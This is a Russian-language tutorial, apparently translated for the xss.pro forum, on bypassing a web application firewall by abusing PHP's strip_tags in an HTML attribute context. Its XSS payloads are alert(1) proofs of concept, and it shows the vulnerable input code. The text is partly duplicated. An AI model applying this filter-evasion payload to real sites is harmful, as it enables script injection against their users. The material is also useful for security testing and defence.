PHP предлагает множество вариантов, которые помогут вам предотвратить атаки XSS. Вот некоторые из них:
Может быть трудно определить, какие из этих функций используются в тестируемом приложении. Они также могут быть использованы для предотвращения атак XSS.
Как обнаружить
Как обойти strip_tags?
Допустим, вы нашли параметр, который уязвим для XSS.
Попробуйте простой пейлоад:
Ииии...
Поиск методов обхода WAF часто бывает утомительным. Допустим, код PHP выглядит примерно так
Иногда мы можем злоупотреблять strip_tags, если он используется в неправильном контексте, как в этом случае.
Поскольку мы находимся в контексте атрибута, нам не нужно открывать какие-либо теги (<..>) для нашей полезной нагрузки. Смотрим на нашу полезную нагрузку,
Что произойдет, если мы применим
Резюме
Если
Автор: оригинальная статья
Перевод: tabac, специально для https://xss.pro
PHP:
strip_tags(...)
htmlentities(...)
htmlspecialchars(...)
filter_input(...)
urlencode(...)
Как обнаружить
strip_tags через- Все между
<и>удалено. - Особый случай, когда существует только открывающий тег,
<но не закрывающий>. В этом случае, все после<будет обрезано.
strip_tags("foo<bar>") => "foobar"strip_tags("foo<bar.....") => "foo"strip_tags("foobar>") => "foobar>"Как обойти strip_tags?
Допустим, вы нашли параметр, который уязвим для XSS.
PHP:
<input class="input" data-id="{XSS}" value="test" />
Попробуйте простой пейлоад:
PHP:
<input class="input" data-id="" autofocus onfocus=alert(1) value="test" />
Ииии...
Код:
Result: Error 500: Blocked by WAF…
Поиск методов обхода WAF часто бывает утомительным. Допустим, код PHP выглядит примерно так
PHP:
<input class="input" data-id="<?=strip_tags($_GET['id-test']);?>" value="test" />
Иногда мы можем злоупотреблять strip_tags, если он используется в неправильном контексте, как в этом случае.
Поскольку мы находимся в контексте атрибута, нам не нужно открывать какие-либо теги (<..>) для нашей полезной нагрузки. Смотрим на нашу полезную нагрузку,
" autofocus onfocus=alert(1) которая была заблокирована WAF.Что произойдет, если мы применим
<> к нашей полезной нагрузке:
PHP:
/?id-test="<> au<>tof<>ocus o<>nfo<>cus=<>al<>ert<>(1<>)
- WAF пропустит эту полезную нагрузку, поскольку это просто бред.
- PHP видит нашу полезную нагрузку и применяется
strip_tagsк нашей строке и удаляет все<>. - Наша полезная нагрузка вызовет XSS:
PHP:
<input class="input" data-id="" autofocus onfocus=alert(1) value="test" />
Резюме
Если
strip_tags используется в неправильном контексте, мы можем злоупотребить этим, добавив <> к нашей полезной нагрузке, что заставит WAF пропустить данный пейлоад. Когда PHP позже обработает нашу полезную нагрузку, он удалит все <> и, таким образом, пропустит наш боевой XSS пейлоад.Автор: оригинальная статья
Перевод: tabac, специально для https://xss.pro